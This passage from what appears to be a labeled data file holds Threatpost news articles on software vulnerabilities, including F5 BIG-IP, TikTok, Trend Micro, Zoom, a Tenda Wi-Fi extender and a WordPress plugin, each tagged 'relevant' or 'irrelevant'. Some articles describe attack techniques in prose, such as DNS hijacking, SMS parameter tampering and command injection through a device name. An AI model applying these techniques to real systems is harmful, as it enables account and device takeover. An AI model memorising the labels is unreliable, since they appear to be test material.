present,” Chamberland wrote. “There were no restrictions on the PHP functions that could be used or the parameters that were provided as input. Instead, we see a simple if (function_exists($sc)) allowing for any PHP function to be called and executed.” The upshot of this is that adversaries can use various WordPress functions – for instance, in attacks in the wild, the “wp_insert_user” function was used to create administrative user accounts and take over sites, according to the research. ThemeREX has now addressed the issue by completely removing the affected ~/plugin.rest-api.php file from the plugin – users should update to the latest version to stay protected. WordPress plugins continue to be a rich avenue of attack for cybercriminals. Last month, popular WordPress plugin Duplicator, which has more than 1 million active installations, was discovered to have an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier in February a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) was disclosed; it could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.",relevant
"Thousands of Vulnerable F5 BIG-IP Users Still Open to Takeover Less than 500 machines have been patched since U.S. Cyber Command issued an alert to patch a critical bug that’s under active exploit. About 8,000 users of F5 Networks’ BIG-IP family of networking devices are still vulnerable to full system access and remote code-execution (RCE), despite a patch for a critical flaw being available for two weeks. The BIG-IP family consists of application delivery controllers, Local Traffic Managers (LTMs) and domain name system (DNS) managers, together offering built-in security, traffic management and performance application services for private data centers or in the cloud. At the end of June, F5 issued urgent patches for a critical RCE flaw (CVE-2020-5902), which is present in the Traffic Management User Interface (TMUI) of the company’s BIG-IP app delivery controllers. The bug has a CVSS severity score of 10 out of 10, and at the time of disclosure, Shodan showed that there were almost 8,500 vulnerable devices exposed on the internet. Shortly after disclosure, public exploits were made available for it, leading to mass scanning for vulnerable devices by attackers, and ultimately active exploits. “CVE-2020-5902 received the highest vulnerability rating of critical from the National Vulnerability Database due to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,” Expanse researchers noted in an advisory issued on Friday. “It was deemed so critical that U.S. Cyber Command issued a tweet on the afternoon of July 3, recommending immediate patching despite the holiday weekend. While F5 did not release a proof of concept (PoC) for the exploit, numerous PoCs began appearing on July 5.” Fast-forward to two weeks later, and patches have rolled out to less than 500 of that original group of vulnerable machines, according to the analysis. Expanse researchers said that as of July 15, there were at least 8,041 vulnerable TMUI instances still exposed to the public internet. The stakes are high, as one would expect from a critical-rated bug: “The vulnerability CVE-2020-5902 allows for the execution of arbitrary system commands on vulnerable BIG-IP devices with an exposed and accessible management port via the TMUI,” explained the researchers. “This vulnerability could provide complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serve as a hop point into other areas of the network.” To boot, an additional bug, CVE-2020-5903, affects the same vulnerable management interface via a cross-site scripting vulnerability (XSS) that Expanse said could also be leveraged to include RCE. Despite active exploits and security experts urging companies to deploy the urgent patch for the critical vulnerability, patching is clearly going slowly – something that Tim Junio, CEO and co-founder of Expanse, chalks up to a lack of visibility. “Patching is likely proceeding slowly because organizations may not know that they have these TMUIs,” Junio told Threatpost. “If they are unaware of their complete inventory of internet-connected systems and services, they will not have well-defined processes for patching them. Security teams are also often stretched thin and that can result in delays in patching, even for critical items like this.” Junio also told Threatpost that if a malicious actor gained this type of remote access it could be catastrophic – and yet the bug carries an ease of exploitation that he likens to a Jedi mind trick. “An attacker just needs to send the firewall a set of commands, which are now publicly known, in order to take over the firewall,” he explained. “A physical world analogy: If a firewall is a bit like a guard and a gate at the entrance of a facility that is surrounded by walls, this exploit is like a Jedi mind trick whereby an attacker can walk right up to the guard, suggest to the guard they leave their post and give the attacker a guard uniform and all keys to the gate – and the guard will say yes.” The attacker can then carry out all sorts of different nefarious activities in the context of a privileged user. Junio explained, continuing his analogy, “In other words, the attacker can now walk into the facility unimpeded (unauthorized access); bring sensitive data and objects out of the facility unimpeded (exfiltration); and can close the gate to legitimate people trying to enter the facility (denial of service); among many other actions.” The TMUI is responsible for configuration, and Junio noted that there’s generally no reason for it to be exposed to the internet – so, a simple interim mitigation (albeit not a full one) in lieu of patching would be to remove it from public view. “This is a very concerning number of exposed TMUIs on the internet,” said Junio. “A hack of a major enterprise via this type of attack vector could be very damaging to that organization.” He added that he believes that an attack on any number of enterprises could go so far as to be harmful to the global economy. “Actual day-to-day users of F5 equipment are generally going to be security operations, network operations or infrastructure professionals,” said Junio. “Bigger picture, the customers/buyers of this technology are some of the world’s largest enterprises and government agencies.” These include 48 out of the Fortune 50, he added, though he’s not aware which, if any, of these specific installations are vulnerable to attack.",relevant
"TikTok Flaw Allows Threat Actors to Plant Forged Videos in User Feeds The popular video-sharing apps’s use of HTTP to download media content instead of a secure protocol could lead to the spread of misinformation on the platform. A security weakness in the popular TikTok video-sharing service allows a local attacker to hijack any video content streamed to a user’s TikTok feed and swap it out with hacker-generated content. Researchers created a proof-of-concept (PoC) hack using a technique called a man-in-the-middle (MiTM) attack against devices running the TikTok app. Video planted in user feeds appear to be legitimate content. The flaw is that the TikTok app uses insecure HTTP for video content in an effort to improve the speed with which it can transfer data, researchers Talal Haj Bakry and Tommy Mysk asserted in a blog post Monday. However, this lack of protection also allows threat actors to easily identify and alter any HTTP traffic—including videos—flowing over the network, they said. “Like all social media apps with a large user base, TikTok relies on content delivery networks (CDNs) to distribute their massive data geographically,” Bakry and Mysk wrote. “TikTok’s CDN chooses to transfer videos and other media data over HTTP. …HTTP traffic can be easily tracked, and even altered by malicious actors.” Bakry is a senior iOS developer at NuraLogix Corp. while Mysk is a DJ and music producer. The vulnerability is particularly worrisome, the two assert, as social media is used to spread misinformation and shape public opinion. This, they maintain, could make the popular video-sharing app the latest platform for threat actors to engage in spreading lies and sowing division among users of TikTok. In their proof-of-concept attack, Mysk and Bakry demonstrated how popular TikTok users, using verified accounts, could have their video streams hijacked to show misleading videos downplaying the severity of the COVID-19 pandemic. “The circulation of misleading and fake videos in a popular platform such as TikTok poses huge risks,” researchers wrote. “That encouraged us to stage a man-in-the-middle attack to swap videos and demonstrate the results.” According to Mysk, video content, TikTok profile images and static video images are all vulnerable to attack because they are transmitted from regional content delivery networks (CDNs) using the insecure hypertext transfer protocol (HTTP) protocol instead of the encrypted hypertext transfer protocol secure (HTTPS) protocol. Leading CDNs such as Apple and Google already have technologies and settings built into iOS and Android, respectively, that require HTTP connections to use encrypted HTTPS to secure the transmission of data. However, they both have provided a way for developers to opt-out of HTTPS for backwards-compatibility, which “should be the exception rather than the rule,” researchers wrote. TikTok for iOS (Version 15.5.6) and TikTok for Android (Version 15.7.4) still use unencrypted HTTP to connect to the TikTok CDN, Bakry and Mysk noted. They urged TikTok, “a social networking giant with around 800 million monthly active users,” to fix the problem as soon as possible and “adhere to industry standards in terms of data privacy and protection.” Carrying out the attack requires an adversary to control the router someone is using to access the internet and TikTok. Next, the attacker can redirect HTTP requests for video content, which is part of a TikTok user’s stream, to a hacker-controlled server. That allows the attacker to perform a MiTM attack, manipulate any data sent via HTTP and deliver hacker-controlled video content instead of the legitimate TikTok user’s content. In their PoC, researchers hosted their forged videos on a server that mimics the behavior of TikTok CDN servers, v34[.]muscdn[.]com in a scenario that swaps out user videos for their fake ones. Because the server impersonates TikTok servers, the app cannot tell it’s an impostor, researchers said. “The trick to direct the app to our fake server is simple; it merely includes writing a DNS record for v34[.]muscdn[.]com that maps the domain name to the IP address of our fake server,” researchers wrote. “This can be achieved by actors who have direct access to the routers that users are connected to.” In addition to random threat actors with various agendas, others that can use the TikTok vulnerability to create and spread fake videos include: Wi-Fi operators, which can configure the router to use a corrupt DNS server; malicious VPN providers and ISPs such as telecoms which can configure a corrupt DNS server for their users; or governments and intelligence agencies, which can force ISPs to install tools that track or alter data, researchers warned. “If you distrust any of these actors, then what you watch on TikTok may have been altered,” Bakry and Mysk wrote. “This also applies to any internet service that uses HTTP.”",relevant
"TikTok Riddled With Security Flaws The video sharing app has fixed several flaws allowing partial account takeover and information exposure. Researchers say they have discovered several major vulnerabilities in the short form video app TikTok. The reported vulnerabilities come as scrutiny around the Chinese-owned platform increases. Researchers say the most serious vulnerability in the platform could allow attackers to remotely take control over parts of victims’ TikTok account, such as uploading or deleting videos and changing settings on videos to make “hidden” videos public. Researchers also discovered a separate vulnerability that allowed them to obtain personal data of victims, such as email addresses and more. “Many of us use the TikTok app to share enjoyable moments and snip bits of fun memories in the form of a short video clips,” researchers with Check Point Research said on Wednesday. “But as some have experienced, there is often a fine line between fun clips to private, even intimate assets being compromised while trusting to be under the protection from the apps we use.” TikTok, a social media app with over 1.3 billion installs worldwide, is owned by Beijing-based parent company ByteDance. The app’s parent company, ByteDance, was notified in November of the flaws and fixed the issue on Dec. 15, researchers said. The first vulnerability allowed partial account takeover via SMS link spoofing. Researchers were able to spoof a TikTok SMS link that invites users to download the application. tiktok A potential attacker could send an SMS invite message to a victim by capturing the HTTP request with a proxy tool (such as Burp Suite), inputting the victim’s phone number into the “Mobile” parameter, and changing the “download_url” parameter into a malicious URL of their choosing. The victim would then be sent a legitimate message from TikTok asking them to download the app, with a link to the attacker-controlled malicious domain. This opens the victim up to an array of attacks, researchers said. “We found that it is possible to send a malicious link to a victim that will result in redirecting the victim to a malicious website. The redirection opens the possibility of accomplishing Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) and Sensitive Data Exposure attacks without user consent,” they wrote. Researchers found that they could take this attack a step further and send requests on behalf of the user after the victim has opened the URL – enabling them to take over parts of victims’ accounts. “With the lack of anti-Cross-Site request forgery mechanism, we realized that we could execute JavaScript code and perform actions on behalf of the victim, without his/her consent,” researchers said. Finally, researchers said that once they had partial control over victims’ accounts, they were able to make several API calls (in the https://api-t[.]tiktok[.]com and https://api-m[.]tiktok[.]com subdomains), which would then reveal sensitive information about the victim including email address, payment information and birthdates. “TikTok is committed to protecting user data. Like many organizations, we encourage responsible security researchers to privately disclose zero day vulnerabilities to us,” a TikTok spokesperson said in a media statement. “Before public disclosure, Check Point agreed that all reported issues were patched in the latest version of our app. We hope that this successful resolution will encourage future collaboration with security researchers.” The security flaws come as backlash swells around TikTok’s relationship with China, leading the United States Army this week to announce that U.S. soldiers can no longer have the social media app on government-owned phones.",relevant
"Trend Micro Fixes Critical Flaws Under Attack Fixes are now available for five critical and high-severity Trend Micro flaws, two of which are being actively targeted by attackers. Trend Micro has released security updates patching five vulnerabilities in its endpoint security solutions, Apex One and OfficeScan XG for Windows. Specifically, Apex One 2019 and OfficeScan XG SP1 and XG are affected by four critical-severity (and one high-severity) flaws. Two of these vulnerabilities are under active attack. “Trend Micro has observed active attempts of potential attacks against … these vulnerabilities in the wild,” the company said in its Monday alert. “Customers are strongly encouraged to update to the latest versions as soon as possible.” The first of two flaws under attack is a critical vulnerability (CVE-2020-8467) that exists in the migration tool component of Apex One and OfficeScan. The flaw could allow remote code execution on affected installations. While attackers could be remote, an attempted attack for this flaw requires authentication. The second flaw actively targeted is a high-severity bug (CVE-2020-8468) in Apex One and OfficeScan. According to the advisory, impacted are the software’s agents that are “affected by a content validation escape vulnerability which could allow an attacker to manipulate certain agent client components. An attempted attack requires user authentication.” Critical Flaws The advisory also pointed to three additional critical flaws. While attempted exploits in the wild have not been observed at this time for these flaws, they all rank 10 (out of 10) on the CVSS scale, indicating the highest level of severity. The first (CVE-2020-8470) stems from the Apex One and OfficeScan server containing a vulnerable service DLL file, which could enable an unauthenticated attacker to delete any file on the server with SYSTEM level privileges. Another (CVE-2020-8599) exists due to the server containing a vulnerable EXE file, which could allow a remote, unauthenticated attacker to write arbitrary data to an arbitrary path on affected installations and bypass ROOT login. And the final flaw (CVE-2020-8598) is due to the server containing a vulnerable service DLL file that could allow an unauthenticated, remote attacker to execute arbitrary code on affected installations with SYSTEM level privileges. The advisory stressed that exploiting these vulnerabilities generally requires that an attacker has access (physical or remote) to a vulnerable machine. So beyond updating to the latest fixed versions (which are listed below), users “are encouraged to review and ensure the product servers and management consoles are restricted to trusted networks and/or users as appropriate.” trend micro security patch critical flaw Trend Micro discovered all vulnerabilities in question. Researchers with Tenable noted in an analysis posted Tuesday, this isn’t the first time attackers have singled out Trend Micro. “In October 2019, Trend Micro published a security bulletin for CVE-2019-18187, a directory traversal vulnerability in OfficeScan. According to their bulletin, they had observed active attempts to exploit the flaw in the wild,” they said. “Customers running these products should be aware that attackers will continue to exploit these vulnerabilities and search for other, undiscovered vulnerabilities in these products.”",relevant
"Trojans, Backdoors and Droppers: The Most-Analyzed Malware Even so, backdoors and droppers are rare in the wild. Trojans, backdoors and droppers, oh my: These are the top three malware types being analyzed by threat intelligence teams, according to statistics out on Thursday. According to anonymized statistics from requests to the Kaspersky Threat Intelligence Portal, almost three quarters (72 percent) of the analyzed malicious files fell into those three categories. The portal is a resource where users can submit a hash, IP address, domain or URL to find out whether it’s malicious. “Malicious activity detection is the first step in an attack investigation,” Kaspersky explained in it report. “To develop response and remediation measures, security analysts need to identify the target of attack, the origin of a malicious object, its popularity etc.” The threats that the malicious objects processed by the portal turned out to be most often associated with trojans. These boobytrapped software threats account for a quarter (25 percent) of the submissions. Backdoors, which offer persistent remote access to devices or networks by cyberattackers, accounted for nearly a quarter – 24 percent. And finally, trojan-droppers, which are first-stage malware samples that initially land on a victim’s machine before fetching a main payload, account for 23 percent. Source: Kaspersky These do not, however, line up with the most common types of malware in circulation today. “Trojans are usually the most widespread type of malware,” said the firm. “However, backdoors and trojan-droppers are not as common, only making up 7 percent and 3 percent of all malicious files blocked by Kaspersky endpoint products.” It added, “a number of requests were related to backdoors on the Linux and Android operating systems. Such malware families are of interest for security researchers, but their levels are relatively low in comparison to threats targeting Microsoft Windows.” This difference between analyst interest and threat prevalence can be explained by the fact that researchers are often interested in the final target of the attack, while endpoint protection products are seeking to prevent it at an early stage, noted Kaspersky. “For example, endpoint protection doesn’t allow an end user to open a malicious email or follow a malicious link, preventing backdoors from reaching the user’s computer,” according to the writeup. News media coverage also appears to drive submissions to the portal, Kaspersky added. For instance, Emotet is a popular search in the portal, most likely because of a rash of reports about its capabilities in the first part of the year. And, some common threats are simply already well-known. “We have noticed that the number of free requests to the Kaspersky Threat Intelligence Portal to check viruses, or pieces of code that insert themselves in over other programs, is less than 1 percent, but it is traditionally among the most widespread threats detected by endpoint solutions,” said Denis Parinov, acting head of threats monitoring and heuristic detection, in a media statement. “This threat self-replicates and implements its code into other files, which may lead to the appearance of a large number malicious files on an infected system. As we can see, viruses are rarely of interest to researchers, most likely because they lack novelty compared to other threats.”",irrelevant
"Tuesday’s Magento 1 EOL Leaves Clock Ticking on 100K Online Stores Adobe and payment-card companies are making last-minute pleas for e-commerce sites to update to Magento 2, to avoid Magecart attacks and more. With Magento 1 reaching end-of-life (EOL) on Tuesday, Adobe is making a last-ditch effort to urge the 100,000 online stores still running the outdated version to migrate to Magento 2. Magento is a popular, Adobe-owned open-source e-commerce platform that powers many online shops. After June 30 (Tuesday of this week), Adobe is pulling the plug on security fixes for Magento Commerce 1.14 and Magento Open Source 1 (formerly known as Enterprise Edition and Community Edition, respectively). E-commerce merchants must migrate to Magento 2, which was released five years ago. “Thousands of merchants have already migrated to Magento 2,” according to a recent Magento update. “It is the best solution for growing businesses to succeed and thrive in digital commerce. Magento 2 offers a wealth of built-in features that are not available in Magento 1, plus infrastructure that is easier to maintain and support.” With the number of active users of Magento 1 still topping 100,000, the looming EOL date opens up various cybersecurity issues. The Magecart cybergang, which has previously targeted the platform in order to inject card-skimming scripts onto checkout pages, is the biggest concern for security researchers. And security holes continue to pop up in the platform – Just last week Adobe issued fixes for critical- and important-severity flaws in Magento 1.14.4.5 and earlier versions, warning that the security update was the final one for Magento 1. As of Tuesday, e-commerce sites using the outdated Magento version will also be out of compliance with the PCI DSS standard (the Payment Card Industry Data Security Standard), which is a security standard for organizations handling credit cards, which aims to help reduce credit card fraud. Requirement 6 of the PCI DSS requires merchants to “develop and maintain secure systems and applications by installing applicable vendor-supplied security patches” which they cannot do when future security patches for Magento 1 are killed. “Once a version of Magento Commerce software is no longer supported, it falls out of PCI compliance and it is your responsibility to re-certify compliance,” according to Adobe. “Merchants may be subject to fines or removal of credit card processing ability if you are unable to update vulnerabilities from regular scans and penetration testing.” Adobe isn’t the only company urging websites to update. PayPal and Visa have also issued alerts, saying that PCI DSS requirements apply to merchant integrations with card payment brands. And according to a report by ZDNet, Mastercard also recently sent customers security alerts warning them to update to avoid cyberattacks. Magento 1’s EOL has been a long time coming. Magento 2 was released in 2015 with various improved features, including better performance and a mobile-friendly admin interface (for reference, the most current version of Magento is Magento 2.3.5, released in April). The imminent June 2020 EOL for Magento 1 was then announced in September 2018, months after Adobe acquired Magento in May 2018. Since then, Magento has been working with technology vendors, developers, customers and partners for transition plans to the new version. End of life timelines often leave lagging companies in security hot water. With Flash Player’s Dec. 31, 2020 kill date quickly approaching, for instance, Adobe said that it will start prompting users to uninstall the software in the coming months. “Any time software reaches end-of-life there is the risk of attackers discovering new vulnerabilities that will remain unpatched,” Zach Varnell, Senior AppSec Consultant at nVisium, told Threatpost. “There may even be existing vulnerabilities that are not yet publicly known. Attackers could just sit on those issues and not reveal them until after the EOL date, ensuring that they will have longer to use them.”",irrelevant
"Twitter Fixes High-Severity Flaw Affecting Android Users A vulnerability in Twitter for Android could have allowed attackers to access private direct messages (DMs) and other data. Twitter has fixed a vulnerability in its Android app, which could have enabled attackers to access private Twitter data, like direct messages (DMs) on Android devices. The flaw is related to an underlying Android operating system (OS) security issue (CVE-2018-9492), which affects operating system versions 8 and 9, said Twitter. This high-severity flaw, which was first disclosed by Google in 2018, stems from the checkGrantUriPermissionLocked component of the ActivityManagerService.java feature in Android. The vulnerability could enable the attacker to bypass permissions – leading to local escalation of privilege. From there, “this vulnerability could allow an attacker, through a malicious app installed on your device, to access private Twitter data on your device (like Direct Messages) by working around Android system permissions that protect against this,” said Twitter in a Wednesday post. Twitter said that 96 percent of Android users with the Twitter app already have an Android security patch installed, which protects them from this vulnerability – but the remaining 4 percent of Twitter for Android users were still affected. Twitter said it does not have evidence that the flaw was exploited by attackers. The news comes days after Twitter acknowledged it may be facing a Federal Trade Commission (FTC) fine of up to $250 million. The penalty was due to Twitter admitting in October that user phone numbers and email addresses gathered for security purposes, as part of its two-factor authentication (2FA) policy, may have been used for targeted advertising. It also comes weeks after a recent high-profile Twitter hack that compromised 130 accounts of high-profile users such as Bill Gates, Elon Musk, Apple and Uber – to promote a bogus advance-fee cryptocurrency deal. As part of this attack, the bad actors were able to access direct messages (DMs) for 36 of the 130 high-profile users whose accounts were hacked. Twitter for its part said moving forward, it has updated Twitter for Android to make sure that external apps can’t access Twitter in-app data by adding extra safety precautions beyond standard OS protections; requiring anyone impacted to update Twitter for Android and sending in-app notices to everyone who could have been vulnerable. “Your privacy and trust is important to us and we will continue working to keep your data secure on Twitter,” said Twitter. Threatpost has reached out to Twitter for further information.",relevant
"U.N. Hack Stemmed From Microsoft SharePoint Flaw Reportedly, the bug wasn’t patched, leading to a data breach in July. Hackers breached the United Nations network in July by exploiting a Microsoft SharePoint vulnerability, according to reports. The breach, which appears to be an espionage operation, reportedly gave the hackers access to an estimated 400 GB of sensitive data. The breach was swept under the rug by the U.N. until this week, when an internal document outlining the hack was leaked by The New Humanitarian, a global news agency focusing on human rights stories. According to the confidential document, at least 42 U.N. servers were compromised in Geneva and Vienna, potentially exposing staff personnel data and sensitive documents for other organizations collaborating with the U.N. “Although it is unclear what documents and data the hackers obtained in the 2019 incident, the report… implies that internal documents, databases, emails, commercial information and personal data may have been available to the intruders – sensitive data that could have far-reaching repercussions for staff, individuals and organisations communicating with and doing business with the U.N.,” Ben Parker, with The New Humanitarian, said on Wednesday. According to the Associated Press, which also viewed the internal document, the breach stemmed from an exploit of a flaw in Microsoft’s SharePoint software. This remote code-execution vulnerability (CVE-2019-0604) was patched in March — however, the U.N. reportedly did not update its systems. The Hack Servers in three separate locations were compromised: the U.N. office at Vienna; the U.N. office at Geneva; and the U.N. Office of the High Commissioner for Human Rights (OHCHR) headquarters, also in Geneva. While the specific data that was compromised is unclear, the document implies that staff records, health insurance and commercial contract data were compromised. The hack also impacted the U.N. human rights office, which collects data that’s used for exposing human rights abuses. The document also reportedly suggests the hack most seriously affected the U.N.’s office in Geneva, which includes 1,600 staff working in a range of political and development units, including those focused on Syrian peace talks, the humanitarian coordination office (OCHA) and the Economic Commission for Europe. In a statement sent to Threatpost, the U.N. said that no sensitive data was accessed in the data breach. It said that once it became aware of the attack, it took action to shut down the affected development servers. “Although hackers accessed a self-contained part of our system in July 2019, the development servers they accessed did not hold any sensitive data or confidential information,” according to the U.N.’s statement. “The hackers did manage to access our Active User Directory, which contains the user IDs for our staff and devices. However, they did not succeed in accessing passwords. Nor did they gain access to other parts of the system.” The type of malware utilized, and the command and control (C2) servers used to exfiltrate data, is unknown. The identity of the hackers, as well as the extent of the data collected, is also unknown. However, the security experts that Threatpost talked to said that the attack was likely launched by a sophisticated threat actor. “Given the fact that it would be so heavily targeted, it is unfortunate that the U.N. appears to not have the basic security hygiene in place to ward off commodity threats, let alone state-backed actors,” said Richard Gold, head of security engineering at Digital Shadows. “Having confidence that you have fully evicted a threat group from a network is hard to come by, especially when the fundamentals of network security are not in place.” Lack of Alert Senior U.N. officials did not notify anyone – even their own staff – about the breach. U.N. staff members were only asked to change their passwords. While most organizations are held to regulatory standards that require them to disclose data breaches, like the GDPR, the UN has diplomatic immunity, meaning that it is not obliged to divulge what was obtained by the hackers or notify those affected. However, security experts like Kevin Beaumont are decrying the agency’s secrecy around the data breach. “I don’t know what the culture is at the U.N., but they probably need to pivot to more transparency for cybersecurity, this would have been a non-story and benefit to all if they had been open about the issue,” said Beaumont on Twitter. The New Humanitarian said that the decision not to notify impacted parties – even its own staff personnel – marks a “breach of trust” for all involved. “No matter what exactly was exposed, the decision not to notify all the people or organizations whose data may have been compromised – including U.N. staff – risks damaging trust in the U.N. as an institution, and so its effectiveness, according to human rights and privacy analysts.” The U.N. is constantly being targeted by cybercriminals. For instance, in October, researchers said that a mobile-focused phishing campaign was targeting the body. And earlier this month, researchers said that the operators behind Emotet had taken aim at U.N. personnel in a targeted attack. “The news that the United Nations was the victim of an advanced persistent threat (APT), likely state-sponsored, for the purposes of espionage, is not all that surprising,” Rui Lopes, engineering and technical support director at Panda Security, told Threatpost. “The U.N. maintains critical data at a global scale that multiple states and organizations would like to have their hands on, and this level of sophistication is indicative of that purpose.”",relevant
"  The Homeplug device, from Tenda, suffers from web server bugs as well as a DoS flaw. A popular Wi-Fi extender for the home has multiple unpatched vulnerabilities, including the use of a weak, default password, according to researchers. Also, two of the bugs could allow complete remote control of the device. The flaws have been found in Tenda PA6 Wi-Fi Powerline extender, version 1.0.1.21, which extends the wireless network throughout the house using HomePlug AV2 technology. “A compromised device can become part of an internet of things (IoT) botnet that launches distributed denial-of-service (DDoS) attacks, used to pivot to other connected devices, leveraged to mine for cryptocurrency or used in various other unauthorized ways,” explained researchers at IBM X-Force, in a posting last week. Web Server Woes The first two bugs are a command-injection issue (CVE-2019-16213); and a critical buffer overflow (CVE-2019-19505). They are found in the extender device’s web server, under a process named “httpd.” The command-injection vulnerability carries a rating of 8.8 out of 10 on the CVSS severity scale. It arises from the fact that under the “Powerline” section in the user interface (UI) of the extender’s web server, the user can see and change the name of the other powerline communication (PLC) devices which are attached to the same powerline network. An authenticated user can inject an arbitrary command just by changing the device name of an attached PLC adapter with a specially crafted string, the researchers noted. Since the web server is running with root privileges, an attacker could leverage this injection to fully compromise the device. “The name entered by the user is concatenated as an argument to the ‘homeplugctl’ application and being executed by the system’ library function,” according to IBM X-Force. “This user input is just URL decoded, without any validation or sanitation.” The second vulnerability is found in the “Wireless” section in the web-UI: By adding a device to the Wireless Access Control list with a specially crafted hostname, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. It’s listed as critical, with a 9.8 severity rating. “It is possible to overwrite the return address register $ra and begin controlling program execution,” according to the analysis. “A motivated attacker can utilize this to potentially execute arbitrary code. Note that the overflow isn’t a result of an unsafe call to functions like strcpy or memcpy.” Pivoting to a Remote Attack Both bugs are post-authentication – so a user would need to be signed in to exploit the bugs. But there’s a big caveat to this: The web server itself is password-protected with the default (and very guessable) password “admin.” “Both vulnerabilities in this web-UI allow an authenticated user to compromise the device with root privileges, and while authentication should provide a layer of security, in this case, with a weak and guessable password, it should not be considered adequate protection,” explained the researchers. Similarly, the web server interface should only be accessible from the local network – however, a wrong setup and configuration can expose it to the internet and therefore remote attackers. And, IBM X-Force found that combining these vulnerabilities with a DNS rebinding technique provides the attacker with a remote vector that doesn’t depend on the user’s configuration. “That remote attack vector is not far-fetched here, and using a technique called DNS rebinding, we were able to perform the same attack from a remote website, overcoming same-origin limitations by the browser,” said the researchers. “With this known technique, once the victim is tricked into visiting a malicious website, their entire local network is exposed to the attacker.” DNS rebinding involves using a malicious JavaScript payload to scan the local network looking for vulnerable powerline extenders. If found, a login could be attempted using a list of popular passwords. “In our demo we were able to get a reverse shell on the vulnerable device just by having someone with access to the device’s network visit our website,” said the researchers. This is significant as it allows an attacker to gain control over the vulnerable devices remotely just by having the victim visit a website.” Pre-Auth Denial of Service The third vulnerability (CVE-2019-19506), which rates 7.5 out of 10 on the severity scale, resides in a process named “homeplugd,” which is related to the extender device’s powerline functionality. By sending a specially crafted UDP packet, an attacker could exploit this vulnerability to cause the device to reboot. By causing a recurring reboot, the device will loop through restarts and not be able to carry out its functions or connect to the internet. Unlike the other two bugs, an attacker in this case would not need to be authenticated. “As we were inspecting the open ports and their corresponding services on the extender, we noticed the homeplugd process listening on UDP port 48912,” according to the analysis. “Reversing the binary revealed to us that no authentication was required to interact with this service.” Patch Status There are for now no patches for the issues. “Unfortunately, despite repeated attempts to contact Tenda, IBM is yet to receive any reply to its emails and phone calls,” the researchers said. “It remains unknown whether the company is working on patches.” Threatpost has also reached out to the vendor for more information. To protect themselves, users should change default passwords on all devices that connect to the internet; update firmware regularly; and use use internal filtering controls or a firewall. “While most flaws in popular software are addressed and patched, devices like powerline extenders, and even routers, do not seem to receive the same treatment, and are all too often left exposed to potential attacks,” the researchers concluded. “But these devices are not just a connectivity plug on the edge of the network. A critical enough vulnerability can be leveraged to reach other parts of the network. That is especially true for routers, but it also extends to other devices that have some sort of interface into the network.”",relevant
"Zoom Zero-Day Allows RCE, Patch on the Way Researchers said that the issue is only exploitable on Windows 7 and earlier. UPDATE A newly discovered bug in the Zoom Client for Windows could allow remote code-execution, according to researchers at 0patch, which disclosed the existence of the flaw on Thursday after pioneering a proof-of-concept exploit for it. The issue was confirmed for Threatpost by a Zoom spokesperson. Update July 10: A patch has been issued. The company told Threatpost: “Zoom addressed this issue, which impacts users running Windows 7 and older, in the 5.1.3 client release on July 10. Users can help keep themselves secure by applying current updates or downloading the latest Zoom software with all current security updates from https://zoom.us/download.” The 0patch team said that the vulnerability is present in any currently supported version of Zoom Client for Windows, and is unpatched and previously unknown — catnip for cybercriminals. However, it’s important to note that the flaw has a couple of big mitigating factors that reduce the concern around it. For one, it’s only exploitable on Windows 7 and older Windows systems, which are end-of-life and no longer supported by Microsoft (though millions of installed users remain in the wild). Secondly, an attack requires user interaction. A target must first perform some typical action such as opening a document file for an exploit to work. That said, no security warning is shown to the user during the course of attack, according to the firm. “Exploitation requires some social engineering – which is practically always the case with user-side remote code execution vulnerabilities,” Mitja Kolsek, 0patch co-founder, told Threatpost, adding that there’s no indication of in-the-wild exploits so far. “While a massive attacks is extremely unlikely, a targeted one is conceivable.” 0patch became aware of the flaw thanks to a “private researcher” who wants to remain anonymous—that person said no disclosure was made to Zoom, but 0patch itself did submit a report. “We…documented the issue along with several attack scenarios, and reported it to Zoom earlier today along with a working proof of concept and recommendations for fixing,” Kolsec wrote in a Thursday posting. “Should a bug bounty be awarded by Zoom, it shall be waived in favor of a charity of researcher’s choice.” Zoom, for it’s part, confirmed the zero-day to Threatpost and issued the following statement: “Zoom takes all reports of potential security vulnerabilities seriously. This morning we received a report of an issue impacting users running Windows 7 and older. We have confirmed this issue and are currently working on a patch to quickly resolve it.” When asked why it did not observe the industry-standard 90-day disclosure period before publicizing the flaw, Kolsec told Threatpost that 0patch isn’t publishing details on the vulnerability due to the lack of a patch – and Kolsec he said there are no plans to do so until there’s an official response from the collaboration giant. “We did not disclose vulnerability details that would allow attackers to exploit it – we only disclosed its presence and our micropatch,” Kolsec said. “Per our long-standing policy, we wouldn’t even publish details after 90 days if these details allowed attackers to attack users.” He added, “It’s only been a few hours since [Zoom] got the report. I’m sure they’ll be very quick to fix this though, judging from how quickly they fixed that UNC vulnerability in April (in a single day).” However, the company did post a PoC video that shows how an exploit can be triggered by clicking the “start video” button in the Zoom Client: Once the patch rolls out, consumers won’t likely need to take action to stay protected; enterprise customers however might. “Zoom Client features a fairly persistent auto-update functionality that is likely to keep home users updated unless they really don’t want to be,” Kolsec wrote, adding that 0patch has issued an interim “micropatch.” “However, enterprise admins often like to keep control of updates and may stay a couple of versions behind, especially if no security bugs were fixed in the latest versions.” This isn’t the conferencing vendor’s first brush with unpatched bugs: As mentioned earlier, in April, two zero-day flaws were uncovered in Zoom’s macOS client version, which could have given local, unprivileged attackers root privileges, and allow them to access victims’ microphone and camera. Zoom quickly patched the issues upon being alerted to them.",relevant
